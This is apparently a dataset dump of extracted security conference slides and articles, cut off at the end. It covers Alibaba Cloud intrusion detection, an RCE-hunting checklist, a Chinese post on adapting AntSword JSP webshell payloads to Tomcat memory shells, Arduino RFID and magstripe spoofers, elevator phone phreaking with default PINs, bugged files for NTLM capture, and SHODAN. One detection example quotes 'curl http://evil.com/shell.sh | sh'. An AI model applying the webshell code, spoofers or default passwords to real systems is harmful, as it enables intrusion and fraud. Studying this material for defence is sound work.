text
stringlengths
100
9.93M
category
stringclasses
11 values
E nhance S ecurity A w areness w ith D ata M ining Data-driven Intrusion Detection Solutions in Alibaba Cloud Yue Xu (cdxy) Security Engineer @ A lib ab a C loud H an Zheng (LittleH ann) Security Engineer @ A lib ab a C loud M ay 29, 2019 Enhance Security Awareness with Data Mining Data-driven Intrusion Detection Solutions in Alibaba Cloud Han Zheng Security Engineer May 29,2019 Yue Xu Senior Security Engineer Team We are the research-engineering team implementing algorithms and maintaining intrusion detection & threat intelligence to Alibaba Cloud Security Center Han Zheng, Yue Xu, Wei He Cloud + Security Advantages • Data computing ability • Rich security logs • God data vision Challenges • Massive business environment • All manner of adversaries, from 'script kiddies' to nation states • Precision and recall are both concerned Data Flow Table of Threat Modeling Cases • Brute-force Attack • Malicious Behavior Chain • Malicious Web Script (a.k.a webshell) • Attack Payload Backtracking Table of Threat Modeling Cases • Brute-force Attack • Malicious Behavior Chain • Malicious Web Script (a.k.a webshell) • Attack Payload Backtracking Rule-based Decision Problem Features of server login events • Rule-based decision is hard to balance False Positives and True Negative. • Different servers have different behaviors. Prior Knowledge is not adaptive to all cases. Multivariate Gauss Model Find Abnormal Behaviors Gaussian Distribution Table of Threat Modeling Cases • Brute-force Attack • Malicious Behavior Chain • Malicious Web Script (a.k.a webshell) • Attack Payload Backtracking Malicious Behavior Chain Pattern Mining Links of Process/File/Network Entities Generate Strong Association Rules DDG Miner Commands Pattern Matched Table of Threat Modeling Cases • Brute-force Attack • Malicious Behavior Chain • Malicious Web Script (a.k.a webshell) • Attack Payload Backtracking Malicious Web Script Two kinds of malicious PHP script (webshell) Features 01 text 03 dynamic function call 02 opcode Machine Learning Performance Daily infected hosts (Feb.-Apr.) ML Improvement Rule-based Results Lab performance: Tested on 30,000 samples achieved F1=98.78%, AUC=99.97% Online performance: Increase 17% detections with one false positive alert in 3 months. Table of Threat Modeling Cases • Brute-force Attack • Malicious Behavior Chain • Malicious Web Script (a.k.a webshell) • Attack Payload Backtracking Automated Attack Backtracking Found malicious process: curl http://evil.com/shell.sh | sh How did I get invaded? Attacker's HTTP request is: POST /XXX/XXXX HTTP/1.1 Host: xxx.xx.xxx:7001 cmd=curl http://evil.com/shell.sh | sh&XXXXXXXXXX text similarity analysis Problem: What if attacker's payload was encoded/encrypted? Encoded Payload Backtracking Solved: Payload Backtracking without text feature and vulnerability knowledge Works only: one-to-many attack Encoded Payload Backtracking Case Found: webshell connection flow (Payload was encoded with base64) Encoded Payload Backtracking Case Found: Java Deserialization Exploit (Payload was encoded with Java serialization) Encoded Payload Backtracking Found: RCE caused by SQLI (RCE payload hiding in a special hex-like string) Enhance Security Awareness with Data Mining • Label data scarcity and unclear threat boundary limit the performance of machine learning in security scenarios. • AI is not a ‘silver bullet’ against cyber threats. It is important to determine when AI is needed and how to quantify the improvement. • No free lunch theorem, you must choose the algorithm according to the actual situation of the project. Cloud + Security Advantages & Challenges Threat Modeling Cases • Brute-force Attack • Abnormal Process Startup • Malicious Web Script (a.k.a webshell) • Attack Payload Backtracking Q&A Enhance Security Awareness with Data Mining Han Zheng zhenghan.zh@alibaba-inc.com Yue Xu lezhen.xy@alibaba-inc.com 郑瀚Andrew_Hann cdxy000 cdxy_
pdf
RCE 0x00 NO p “java0day” https://t.zsxq.com/EAMb2V3 https://t.zsxq.com/3jQ7Y3B checklist 0x01 1. 2. 3. payload 4. rce 5. 1. 2. 3. 0x02 1. xxxxxx 2. payload 3. F8 0x03 1. source 2. sink 3. 4. trick 111RCE 1312 4513 trick 0x04 SQL SQL XSS Javascriptcookie javagadget SSRF owasp RCEcombo 1. + 2. + 3. ++PHPwebshellLinuxcrontab 4. +SSRF++ 5. + 6. +SSRF+ 1. XSS+electron 2. +fastjson 3. +XSS+electron comboRCE SSRFXXESSRF combo SSRF web RCE 0x05 RCE 1. combo 2. combosink 3. RCE 4. 5. 6. trick 7. 8. RCE 0x06 RCE gadget 0day 0x07 345 jumpservergrafanaGo Go just do it
pdf
title: 蚁剑改造计划之支持内存马 author: yzddmr6 blog: yzddmr6.tk 前言 最近因为各种事情太忙了,博客也很久没有更新了。今天暂且先水一篇。 前几天发了一版新的蚁剑JSP一句话的payload,这篇文章记录一下更新的细节。 1. 兼容高版本JDK 这个没啥好说的,就是base64解码的问题。在jdk9开始移除了sun.misc这个包,导致原有的 sun.misc.BASE64Decoder 没法继续使用,取而代之的是 java.util.Base64 这个类。 解决办法就是两个都试一下,看哪个能解码成功,核心代码如下 2. 兼容Tomcat内存马 这个问题可以掰扯一下。很多文章都提到了冰蝎或者蚁剑连接内存马的问题。 除了由于写法问题而导致的各种乱七八糟的问题以外,其中主要的一个问题是冰蝎在入口处采用了 pageContext这个类来获取request response session对象,本人以冰蝎为原型实现的蚁剑JSP一句话同 样采用了pageContext作为入口。但是以filter型内存马为例,doFilter中三个参数分别是 ServletRequest,ServletResponse,FilterChain,并不存在pageContext这个东西。 那么大体上有三种解决办法: 1. 自己声明一个pageContext类,在里面实现对应的request跟response的getter setter。冰蝎改造 之不改动客户端=>内存马。 2. 改写冰蝎的入口为request+response,不再采用pageContext作为入口。但是弊端就是不能再用 equals了,要重新写一个方法用反射调用。冰蝎改造之适配基于tomcat Filter的无文件webshell 3. 采用蚁剑原来的Custom模式,把恶意函数直接通过字节码打进去,然后通过方法名调用。不过由 于直接编译恶意函数的字节码较大会超过最大长度限制,一般要先写入目标然后配合 URLClassLoader才能使用。使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一 键注入蚁剑shell 以上的这些方法可以是可以,但是不够优雅。   public byte[] base64Decode(String str) throws Exception {       try {           Class clazz = Class.forName("sun.misc.BASE64Decoder");           return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);       } catch (Exception e) {           Class clazz = Class.forName("java.util.Base64");           Object decoder = clazz.getMethod("getDecoder").invoke(null);           return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);       }   } 回想我们最开始的问题,为什么要用pageContext,是为了拿到当前请求的上下文,更精确一点就是输 入输出:request,response。经过实际调试可以发现: 在request中本身就包含了当前的response,同样response中也包含了当前的request。 虽然蚁剑没有用到session对象,但是需要的时候也可以通过request来获取。 也就是通过request或者response任意一个就能完全代替pageContext,这也是在新版payload中采取 的方案。 核心代码如下   if (obj instanceof PageContext) {           PageContext page = (PageContext) obj;           request = (HttpServletRequest) page.getRequest();           response = (HttpServletResponse) page.getResponse(); 在equals中收到一个对象后,会依次判断是否是 PageContext/HttpServletRequest/HttpServletResponse,然后根据情况拿到request跟response,从 而实现对内存马的兼容。 实现效果 测试环境 在equals中填入request对象       } else if (obj instanceof HttpServletRequest) {           request = (HttpServletRequest) obj;           try {               Field req = request.getClass().getDeclaredField("request");               req.setAccessible(true);               HttpServletRequest request2 = (HttpServletRequest) req.get(request);               Field resp = request2.getClass().getDeclaredField("response");               resp.setAccessible(true);               response = (HttpServletResponse) resp.get(request2);           } catch (Exception e) {               e.printStackTrace();           }       } else if (obj instanceof HttpServletResponse) {           response = (HttpServletResponse) obj;           try {               Field resp = response.getClass().getDeclaredField("response");               resp.setAccessible(true);               HttpServletResponse response2 = (HttpServletResponse) resp.get(response);               Field req = response2.getClass().getDeclaredField("request");               req.setAccessible(true);               request = (HttpServletRequest) req.get(response2);           } catch (Exception e) {               e.printStackTrace();           }       } 访问内存马,一片空白说明注入成功。 访问任意路径即可连接。 正常执行命令,完美解决问题。
pdf
Hardware Hacking for us dumb software guys My Story  Done software since 1999  Degree in Computer Science  Done a little hardware over the years  About five years ago bought a Microchip PIC Kit  The labs were cool and easy to get working  Anything practical was difficult (low level assembly) Defcon 17  Bought all the hardware hacking villiage kits at Defcon 17  Picked up an Arduino shortly after Defcon  Was given a decent soldering iron  Started building my own projects Hardware hacking is daunting for many computer hackers  understanding all the electrical components and complex circuits  cost  steep learning curve for some languages used in electronics (i.e. assembly)  lack of good information and good community support for many devices Microcontrollers mix hardware and software  You can drop code on them instead of building complex circuits in some places  You can reprogram them to be something else whenever you want Arduinos  Open-Source hardware platform  All-in-one prototyping board  Easy to learn language  Free, Open Source IDE  Strong Community Backing  Cheap (around $30) Kind of like the hardware equivalent of a scripting language What’s an Arduino? Arduino Duemilanove  ATmega328p  14 Digital I/O pins  6 are PWM Pins  6 Analog pins  32 KB Flash  16 MHz *Image source – Wikipedia.org Arduino What else is an Arduino?  Since it’s open source hardware there are many other versions of Arduino compatible boards  Some boards are only IDE compatible, others are also pin compatible Other Arduinos  Arduino Mega  Sparkfun’s Arduino Pro and Mini  Evil Mad Scientist Diavolino  Fio  Teensy  Freeduino  Seeeduino  Lilypad  Ardweeny  Bare bones Arduino IDE •Syntax Highlighting •Compiles Code •Uploads to the Arduino •Serial console Arduino Speak  Shield – componets that fit on top of an Arduino  Sketch – Arduino code  .pde – Arduino code file type Arduino Language  Like C, but simpler  Has methods for common tasks such as reading and writing to pins, serial, etc.  Relatively easy to include external libraries Sketch  Define global variables and/or constants  A setup function for things that must be run when the program first starts up  A loop function the Arudino will loop through to run the program  Any other user defined functions Blink LED  int ledPin = 13; // LED connected to digital pin 13  void setup() {  pinMode(ledPin, OUTPUT);  }  void loop()  {  digitalWrite(ledPin, HIGH); // set the LED on  delay(1000); // wait for a second  digitalWrite(ledPin, LOW); // set the LED off  delay(1000); // wait for a second  } Google Trends *Source Google Trends Arduinos don't work for every project  While they're pretty cheap they're expensive when you want to make a lot of devices  Not incredibly powerful  No parallel computing (have interrupts) Using Available Shields  Many shields are available, including:  Ethernet Shield  Xbee Shield  Motor Shields  Wave Shield  Nixie Tube Shield  LCD Shield  Cellular Shield  . . .  Advantage – no tools necessary Using Shields Xbee Shield  2.4 Ghz  250 kbps max data rate  128 bit encryption  From a few hundred feet to several miles in range Xbees and Security  Can be used for out of band communication  Even though they run on 2.4 GHz it’s unlikely they’d be detected during a war driving assessment (not 802.11)  Can reprogram your Arduino remotely using an Xbee Ethernet Shield  Can function as a client or server  Up to 4 simultaneous connections Xbee Shield and Ethernet Shield Together  Place an Arduino on a network with an Xbee Shield and an Ethernet Shield to launch attacks on the network  Xbee traffic will probably never be detected  The device is small and may go unnoticed for long periods of time Making your own Shields  You can use Arduinos without doing shields, but it’s a good convention to follow  It’s easy to make your own shields  You can use a proto shield, custom PCB or multipurpose PCB  You’ll need a soldering iron and possibly other tools Serial  Easy to use  Arduino digital I/O pins 0 and 1 are hardware serial pins  Other digital I/O pins can be software serial pins  Example devices:  Parallax RFID Reader  GPS Units  LCDs  Various Integrated Circuits I2C  Easy to use  Analog pins 4 and 5 are I2C pins  I2C is a bus  Can connect up to 128 devices  Each device has it’s own address  Examples:  Centipede Shield  Wii Nunchuck  LCDs Reverse Engineering Hardware using I2C and Serial  Arduino can be connected to other devices that support I2C and/or Serial to try and determine how they work.  Examples:  Connecting to serial pin on a Segate hard drive  Connect to I2C bus of a Wii GPS Tracking Device  Uses a serial GPS unit  Can log data to an SD card or broadcast it (i.e. Xbee or cellular).  Used to track down stolen good  Used to see where people are going Magnetic card reader and spoofer  by connecting a magnetic stripe card reader to an Arduino you can read the data from the magnetic stripe card  using an electromagnet emulate a card swiping on a card reader  this device could be used to read a magnetic stripe card, then spoof the data on a magnetic card Simply Put  Create an electromagnet  Switch the polarity back and forth to make the reader think a card is being swiped Schematic Biphase mark code *Source Wikipedia.org Biphase mark code Code if(lowOrHigh == 1) { if(clockHalf == 0) { digitalWrite(rightPin, LOW); digitalWrite(leftPin, HIGH); delayMicroseconds(clockSpeed); digitalWrite(leftPin, LOW); digitalWrite(rightPin, HIGH); delayMicroseconds(clockSpeed); //clockHalf = 1; } More Code if(clockHalf == 0) { digitalWrite(rightPin, LOW); digitalWrite(leftPin, HIGH); delayMicroseconds(clockSpeed * 2); clockHalf = 1; } USB HID emulator  Based on the AVR project V-USB  simple circuit, 3 resistors and 2 diodes  any computer thinks a USB keyboard has been connected, no drivers needed.  can be modified to emulate other USB devices (mouse, joystick) Security Uses  this device could be used to try and break out of a kiosk mode by trying every possible combination of keyboards.  connect it to a computer while the user is away, then after they come back and log in you could distract the user and have it issue commands while the user isn't paying attention (i.e. commands to create a user). Schematic Code //clear built in timers TIMSK0&=!(1<<TOIE0); cli(); //connect to computer usbDeviceConnect(); //send keystrokes UsbKeyboard.sendKeyStroke(KEY_A); UsbKeyboard.sendKeyStroke(KEY_B); Integrate with Cellphone  Solder transistors to the keypad of a cheap prepaid cell phone, connect the transistors to the Arduino (or a shift register connected to the Arduino) and you can control the phone from the Arduino.  A typical Arduino can't do DTMF decoding, but you can get an IC to do it  This device could be used for interacting with touch tone phone systems, remote controlling devices, or sending data out of band.  An alternative to this is to buy a cell phone module and attach it to an Arduino. Schematic Code  Same as blinking an LED, just make the pin high that’s connected to the key you want to press  digitalWrite(ledPin, HIGH); Other Uses for this Technique  You can use this technique for almost anything you want to automate button pushes on (and you don’t mind soldering to the device). RFID tag spoofer – stupid simple  Uses a 10 K Ohm resistor, a transistor, a 10 nF capacitor, and a spool of wire from Radio Shack.  The code is about 20 lines long and very simple Schematic Setup int coil_pin = 9; void setup() { //Set pin as output pinMode(coil_pin, OUTPUT); //Start it as low digitalWrite(coil_pin, LOW); } Main Loop Code void loop() { //this is the card data we're spoofing. It's basically 10 hex F's int data_to_spoof[64] = {1,1,1,1,1,1,1,1,1, 1,1,1,1,0 ,1,1,1,1,0, 1,1,1,1,0 ,1,1,1,1,0, 1,1,1,1,0 ,1,1,1,1,0, 1,1,1,1,0 ,1,1,1,1,0, 1,1,1,1,0 ,1,1,1,1,0, 0,0,0,0,0}; for(int i = 0; i < 64; i++) { set_pin_manchester(0, data_to_spoof[i]); delayMicroseconds(256); set_pin_manchester(1, data_to_spoof[i]); delayMicroseconds(256); } } Manchester Encoding *Source Wikipedia Manchester Code Manchester Code void set_pin_manchester(int clock_half, int signal) { //manchester encoding is xoring the clock with the signal int man_encoded = clock_half ^ signal; //if it's 1, set the pin LOW (this will tune the antenna and the reader sees this as a high signal) //if it's 0, set the pin to HIGH (this will detune the antenna and the reader sees this as a low signal) if(man_encoded == 1) { digitalWrite(coil_pin, LOW); } else { digitalWrite(coil_pin, HIGH); } } Combination Lock brute forcer  Stepper motor controlled by the Arduino turns the dial  Servo tries to open the lock (an actuator would work as well)  A laser pointing to a photoresitor, when the dial hits 0 the beam is broken, this verifies there’s no slipping when turning the dial.  This device tries every possible combination until it is able to open the lock.  For locks where there's a known algorithm to open them (like Mater Locks) it open the lock based on the algorithm Combining devices  The real power comes in combining several devices.  Examples ○ RFID reader that broadcasts what it reads using an Xbee Alternatives to Typical Arduinos  Maple (ARM based Arduino)  more powerful than a typical Arduino (sound and video)  Butterfly Uno with AVR emulator  Run Arduino stuff on an FPGA  Teensy  AVR device with USB capabilities that can use Arduino sketches (even though it appears not all of the functionality of the board is available unless you use C).  Arduino Megas  more memory and inputs and output  Bare bone or Minimalist Arduinos  cheaper but probably doesn't have a USB connector (FTDI is needed to code it) More Alternatives  Parallax Propeller  Has 8 cogs for parallel computing  AVR (no Arduino stuff)  cheap, code directly in C  Microchip PIC  cheap, code in C or assembly  Freescale DSC  used on DEFCON badges, CodeWarrior pretty easy to use especially with Processor Expert
pdf
Phreaking Elevators Who am I? ● Car hacking things ● High voltage projects ● CTFs (lifetime badge winner for Cyphercon) ● Infosec is a hobby ( I might be looking for a job) ● I am new to the infosec world (3 years) ● Car hacking things ● High voltage projects ● CTFs (lifetime badge winner for Cyphercon) ● Infosec is a hobby ( I might be looking for a job) ● I am new to the infosec world (3 years) You can not control an elevator though the phone. You can not control an elevator though the phone. Who am I not? Want to know more on elevators? ● Deviant Ollam & Howard Payne - Elevator Hacking - From the Pit to the Penthouse (Watch the talk they did at HOPE) (We will have more from Deviant later on that guy is awesome.) ● Deviant Ollam & Howard Payne - Elevator Hacking - From the Pit to the Penthouse (Watch the talk they did at HOPE) (We will have more from Deviant later on that guy is awesome.) Topics we are going to be covering: ● Elevator phone systems basics ● History (not a lot of this since its 2019 I want about things that you can do TODAY) ● Information gathering ● Tools I like to use ● Elevator phone systems more advanced (you better be ready) ● Thinking out side the elevator ● Conclusion ● Elevator phone systems basics ● History (not a lot of this since its 2019 I want about things that you can do TODAY) ● Information gathering ● Tools I like to use ● Elevator phone systems more advanced (you better be ready) ● Thinking out side the elevator ● Conclusion Legal disclaimer ● I am not a lawyer please don’t hack things you don't own. ● All recordings were done in one party consent states or with the other parties permission. ● Don't interfere with emergency communications these systems are in place for a good reason. ● I am not a lawyer please don’t hack things you don't own. ● All recordings were done in one party consent states or with the other parties permission. ● Don't interfere with emergency communications these systems are in place for a good reason. Please don’t do this in the wild... Elevator phone systems basics PHONE PHOTO To the outside world ●POTS ●VOIP ●Cell ●POTS ●VOIP ●Cell Elevator phone systems basics ● POTS (plain old telephone service) this is in most elevators it's how a phone will dial out. ● The device will dial when the hand set is picked up or when the button is pushed. ● ADA/ASME A17 is the reason we have changes in our elevator phones. Also there are building codes that need to be followed. ● POTS (plain old telephone service) this is in most elevators it's how a phone will dial out. ● The device will dial when the hand set is picked up or when the button is pushed. ● ADA/ASME A17 is the reason we have changes in our elevator phones. Also there are building codes that need to be followed. History time! ● When elevators phones started in 1968. ● We still find rotary phones! ● Ring down system. ● It was required for all elevators in 1976. ● When elevators phones started in 1968. ● We still find rotary phones! ● Ring down system. ● It was required for all elevators in 1976. Information gathering OSINT ● Who the phone dials to ● Building information ● Phone system information ● Phone number information (OpenCNAM) OSINT ● Who the phone dials to ● Building information ● Phone system information ● Phone number information (OpenCNAM) Information gathering Social engineering ● Pretend to be an elevator tech ● Remotely gathering target information by SEing the business and call centers Social engineering ● Pretend to be an elevator tech ● Remotely gathering target information by SEing the business and call centers Information gathering Physical ● How to control an elevator with independent service mode ● Where to go and what to look for Physical ● How to control an elevator with independent service mode ● Where to go and what to look for TOOLS ● Cell Phone ● Multi tool ● Land line phone ● Linesmen handset ● 9volt battery (some times a AA) ● Cell Phone ● Multi tool ● Land line phone ● Linesmen handset ● 9volt battery (some times a AA) Few good points ● Site ID 2 ● Hang up *# or # or *0 or 0 or (press the button again) ● PBX and line concentrators ● Site ID 2 ● Hang up *# or # or *0 or 0 or (press the button again) ● PBX and line concentrators PBX ● Private breach exchange ● Elevators can be on their own PBX ● Older PBXs you can find from a low voltage (24Volts) ● Private breach exchange ● Elevators can be on their own PBX ● Older PBXs you can find from a low voltage (24Volts) Line concentator Line Concentrator ● Outbound one call at a time the other get a busy signal ● Inbound Call the LC pick up with a double beep ● With in 4 seconds enter “1”, “2” or “3” before it drops the line. ● When the power fails its a party! ● Outbound one call at a time the other get a busy signal ● Inbound Call the LC pick up with a double beep ● With in 4 seconds enter “1”, “2” or “3” before it drops the line. ● When the power fails its a party! Intercom ● Operated from outside the elevator ● Located in hall way, hostway or machine room ● Video time! ● Operated from outside the elevator ● Located in hall way, hostway or machine room ● Video time! Video! Fire Fighters Phone ● The system looks for opens, shorts, or ground faults. ● Class A and Class B wiring ● Sounds an alert at fire command center until answered. ● The system looks for opens, shorts, or ground faults. ● Class A and Class B wiring ● Sounds an alert at fire command center until answered. Line detection ● Checking on the phone line ● The key can reset the device for 24 hours ● The key can control volume ● RTFM ● Checking on the phone line ● The key can reset the device for 24 hours ● The key can control volume ● RTFM The song of my people…. The song of my people…. This an emergency telephone located at. This is elevator emergency inside car one at ________ main st please wait for two way communication thank you. Main menu press 1 to talk 2 to program or *0 to disconnect. The song of my people... This the automated emergency telephone located at Press 1 to talk to the party 2 to program 0 to disconnect Press 1 to talk to the party 2 to program 0 to disconnect Four ways to program ● Key pad ● Switches ● Remote ● Programming cable ● Key pad ● Switches ● Remote ● Programming cable Programming ● RTFM ● Use the key pad you You will need the battery ● Those buttons don’t work the way you think they do. ● RTFM ● Use the key pad you You will need the battery ● Those buttons don’t work the way you think they do. Programming ● RTFM ● Position 1 connects / disconnects ● Position 3 is programming or “Learn mode” ● Position 2 switch ON-Incoming calls are answered (factory setting) ● RTFM ● Position 1 connects / disconnects ● Position 3 is programming or “Learn mode” ● Position 2 switch ON-Incoming calls are answered (factory setting) Programming Number * Passcode * options *# Number * Passcode * options *# Default elevator passwords: ● 123456 GAL ● 123456 Lincoln ● 845464 (V-I-K-I-N-G) *some viking products don't even have a password* ● 123456 Viking access password ● 1234 K-Tech ● 35842 T.R.E. Communications ● *3*12345678* Master Access Code to change all other codes (Talkaphone) ● *4** guard access (Talkaphone) ● 123456 GAL ● 123456 Lincoln ● 845464 (V-I-K-I-N-G) *some viking products don't even have a password* ● 123456 Viking access password ● 1234 K-Tech ● 35842 T.R.E. Communications ● *3*12345678* Master Access Code to change all other codes (Talkaphone) ● *4** guard access (Talkaphone) HARDER PASSWORDS ● http://www.datagenetics.com/blog/september32012/index.html ● 1234 and 123456 are both at the top of the charts for the most common pins. ● The 4 pin code you have a 26.83% chance of getting it right this drops down to 16.12% if 1234 doesn’t work. ● A 6 pin code you have a 20.21% chance of getting it right with the top 20 pins though if its not 123456 it drops to 8.53%. ● http://www.datagenetics.com/blog/september32012/index.html ● 1234 and 123456 are both at the top of the charts for the most common pins. ● The 4 pin code you have a 26.83% chance of getting it right this drops down to 16.12% if 1234 doesn’t work. ● A 6 pin code you have a 20.21% chance of getting it right with the top 20 pins though if its not 123456 it drops to 8.53%. Programming Number * Passcode * options *# Number * Passcode * options *# Options? ● Phone number ● Connection time ● Tone or Pulse ● Mute dialing ● Auto talk on ring ● Phone number ● Connection time ● Tone or Pulse ● Mute dialing ● Auto talk on ring Attack!!!!!! ● Denial of service - Line no longer functions - Phone no longer calls the correct number ● Bypassing line detection ● Denial of service - Line no longer functions - Phone no longer calls the correct number ● Bypassing line detection Attack!!!!!! ● Turning the elevator into a covert listening device ● LED problem ● Connection time ● Noise when it picks up ● Turning the elevator into a covert listening device ● LED problem ● Connection time ● Noise when it picks up Attack!!!!!! ● You have an open telephone line! - Exifltrate data - register the line to a service like google voice - Dial some numbers... ● You have an open telephone line! - Exifltrate data - register the line to a service like google voice - Dial some numbers... 900-$$$-$$$$ ● 60 elevators at Brown University ● Each of those elevators has their own telephone line. ● 30 days x 24 hours = 720 hours ● 720 hours x 60 minutes = 43,200 minute in a month ● 43,200 x 60 elevators = 2,592,000 elevator minutes ● 2,592,000 x $2.55 per minute = $6,609,600 ● 60 elevators at Brown University ● Each of those elevators has their own telephone line. ● 30 days x 24 hours = 720 hours ● 720 hours x 60 minutes = 43,200 minute in a month ● 43,200 x 60 elevators = 2,592,000 elevator minutes ● 2,592,000 x $2.55 per minute = $6,609,600 Are we all doomed?!? Look at: ● Monitoring (Why are we having an hour long call?) ● Logging (Why do 30 people call the elevator a day?) ● Alerting (Is there really an emergency?... We should deal with that) ● Monitoring (Why are we having an hour long call?) ● Logging (Why do 30 people call the elevator a day?) ● Alerting (Is there really an emergency?... We should deal with that) Manufactures ● NO DEFAULT PASSWORDS... Don’t allow the most common top 20 pins ● Don’t allow remote programming ● Train your call centers for SE attacks ● NO DEFAULT PASSWORDS... Don’t allow the most common top 20 pins ● Don’t allow remote programming ● Train your call centers for SE attacks Lets go further! ● Pools ● University campus ● Meeting areas ● THE STAIRS!!!! ● Pools ● University campus ● Meeting areas ● THE STAIRS!!!! Want to learn more? ● Watch TeleChallenge 2018 Walkthrough ● Watch Pit to Penthouse ● RTFM ● C*net ● Bin Rev ● Watch TeleChallenge 2018 Walkthrough ● Watch Pit to Penthouse ● RTFM ● C*net ● Bin Rev If you want to play at home... ● Buy elevator phones on ebay ● Used ones will most likely be broken $50 - $100 ● New phones cost $100 - $300 ● Buy elevator phones on ebay ● Used ones will most likely be broken $50 - $100 ● New phones cost $100 - $300 Want to play around? ● PLA: 914-296-1862 ● FUTELL: 503-HOT-1337 ● ClownSec Phunhouse: 1-914-495-1365 ● DO NOT CALL THESE NUMBERS https://pastebin.com/5L8vJsbd ● PLA: 914-296-1862 ● FUTELL: 503-HOT-1337 ● ClownSec Phunhouse: 1-914-495-1365 ● DO NOT CALL THESE NUMBERS https://pastebin.com/5L8vJsbd Thank you ● @Ianrat ● @parrywinkle ● @ToniCorinne ● @plugxor ● @wireghoul ● @SgtHowardPayne ● @deviantollam ● Thoughtphreaker ● @Ianrat ● @parrywinkle ● @ToniCorinne ● @plugxor ● @wireghoul ● @SgtHowardPayne ● @deviantollam ● Thoughtphreaker Thank you ● @willcaruana ● Call me 617-440-8667 (prank calls only) ● hvwill@protonmail.com ● @willcaruana ● Call me 617-440-8667 (prank calls only) ● hvwill@protonmail.com
pdf
Bugged&Files& Is#Your#Document#Telling#on#You?# Daniel#Crowley,#Damon#Smith# •  Damon&Smith& Who&are&we?& •  Daniel&Crowley& Files&that&trigger&outbound&traffic&when&parsed& & &Without&being&an&executable&format& &Regardless&of&format&complexity& &&&&&&Without&the&use&of&exploits& & &…and&the&implications&of&all&that& What&is&this&talk&about?& • Privacy& – DRM& – DLP& – DeFanonymization& • Security& – NTLM&credential&capture/relay& – CSRF& • ”It’s&a&feature,&not&a&bug”& Why&is&this&important?& & Demonstration& •  RTF& •  WMV& • Office&formats& – .docx& – .pptx& – .xlsx& • PLS&playlists& • Shortcut&(.lnk)&files& • Desktop.ini&files& • HTML& What&formats&are&already&known&to& allow&this?& •  HTML&in&IE& •  Linked&images&in&emails&opened&in&Outlook!& Other&NTLM&trigger&silliness& • Document&formats& • Media&formats& • Meeting/scheduling&related&formats& & What&did&our&work&focus&on?& • Remote&image& – No&warning,&no&NTLM& • App.media.openPlayer()& – Warning,&NTLM&possible& • getURL()& – Warning,&NTLM&possible& PDF& • Linked&document&on&UNC&share& – Warning&(ignored),&NTLM&possible& RTF& • Remote&XML&stylesheets& • Javascript& SVG&(Scalable&Vector&Graphics)& • All&these&formats&support&remote&media& – Even&UNC&paths…& M3U&/&PLS&/&ASX& •  ID3&tag& – LINK&frame& – APIC&frame& •  Not&supported&on& any&major&player&we& tested&!& MP3& •  URLANDEXIT& •  Launches&default&browser&with&specified&URL& •  DRM&functionality&abuse& •  Subtitles& •  Can&include&arbitrary&HTML& ASF&(WMA/WMV/ASF)& • HTTP&tracker&URLs&in&“announceFlist”& – As&many&as&you&want& • URL&seeds&allowed&in&“urlFlist”& – Clients&can&implement&any&URL&handler& • Must&support&one&or&both&of&HTTP&&&FTP& – Not&universally&supported& TORRENT& • Free/Busy&URL& – No&warning,&NTLM&possible& – Requires&specific&actions&by&recipient& VCF&(vCard&format)& • VALARM& – ATTACH&parameter&is&a&URL& – AUDIO&and&PROCEDURE&alarm&types& & • ICS&is&the&iCalendar&format& – Not&even&Calendar.app&will&let&you&accept& PROCEDURE&!& ICS&(iCalendar&format)& • Email& • Open&file&share& • Watering&hole& • P2P&distribution& • Honeypot& Delivery&methods& • Dystopian&future&DRM&could&call&home& – Probably&already&does&in&some&cases& • Goes&beyond&deterrence&into&identification& Digital&Rights&Management& • Imagine&being&a&whistleblowerFtoFbe& – In&a&fascist&country& • The&document&you&exfiltrate&calls&home& – From&your&work&computer& – From&your&home&computer& – From&your&friend’s&home& – From&your&lawyer’s&office& – From&a&journalist’s&office& • You&get&disappeared& & Data&Loss&Prevention& • Tor&Browser&only&routes& browser&traffic&through& Tor& – External&programs&don’t& route&through&Tor& • You&don’t&control&that& jihad&wiki& – But&maybe&you&can& upload&a&bugged&PDF& DeFAnonymization& • Windows&will&autoFauth&when&accessing&SMB& • Files&can&in&some&cases&initiate&SMB&traffic& – Embedding&remote&file://&resources& – UNC&path&as&file& – Javascript/other&active&content& • NTLM&auth&can&be&cracked&or&relayed& NTLM&Credential&Capture/Relay& NTLM&overview& Server& Client& 1.&Negotiate& 2.&Challenge& 3.&Authenticate& NTLM&relay&overview& Server& Client& Attacker& • Initiating&traffic&from&privileged&positions&is&fun& – Exploit&router&vulns& – Exploit&NAS/Printers& – Exploit&IoT&devices& CSRF& • AV?& – Too&many&formats&and&variations& – Possibility&of&false&positives& • Format&changes?& – Too&much&inertia,&too&many&formats& • ApplicationFlevel&firewalls?& – Easy&for&RTF& – Not&so&easy&for&M3U& & Possible&Mitigations& •  Warnings?& •  Proxychains&with&strict_chain&and&bad&proxy& - Doesn’t&work&for&some&applications& •  Egress&filtering?& - Doesn’t&stop&internal&connections& - Might&stop&legitimate&functionality& Possible&Mitigations& Questions?& Daniel#Crowley,#Damon#Smith#
pdf
SHODAN for Penetration Testers Michael “theprez98” Schearer SHODAN for Penetration Testers  What is SHODAN?  Basic Operations  Penetration Testing  Case Study 1: Cisco Devices  Case Study 2: Default Passwords  Case Study 3: Infrastructure Exploitation  Other Examples  The Future  Conclusions By pen testing, I mean…  Black/gray/white box testing  Ethical hacking  Security auditing  Vulnerability assessment  Standards compliance  Training  All of the above WHAT IS SHODAN? SHODAN for Penetration Testers What is SHODAN? (1)  SHODAN (http://www.shodanhq.com/) is a computer search engine designed by web developer John Matherly (http://twitter.com/achillean)  While SHODAN is a search engine, it is much different than content search engines like Google, Yahoo or Bing What is SHODAN? (2)  Typical search engines crawl for data on web pages and then index it for searching  SHODAN interrogates ports and grabs the resulting banners, then indexes the banners (rather than the web content) for searching What is SHODAN? (3)  Rather than to locate specific content on a particular search term, SHODAN is designed to help the user find specific nodes (desktops, servers, routers, switches, etc.) with specific content in their banners  Optimizing search results requires some basic knowledge of banners BASIC OPERATIONS SHODAN for Penetration Testers SHODAN Helper Firefox Add- on SHODAN Search Provider Firefox Add-on Basic Operations: Search  Search terms are entered into a text box (seen below)  Quotation marks can narrow a search  Boolean operators + and – can be used to include and exclude query terms (+ is implicit default) Basic Operations: Login  Create and login using a SHODAN account; or  Login using one of several other options (Google, Twitter, Yahoo, AOL, Facebook, OpenID  Login is not required, but country and net filters are not available unless you login  Export requires you to be logged in Basic Operations: Filters  country: filters results by two letter country code  hostname: filters results by specified text in the hostname or 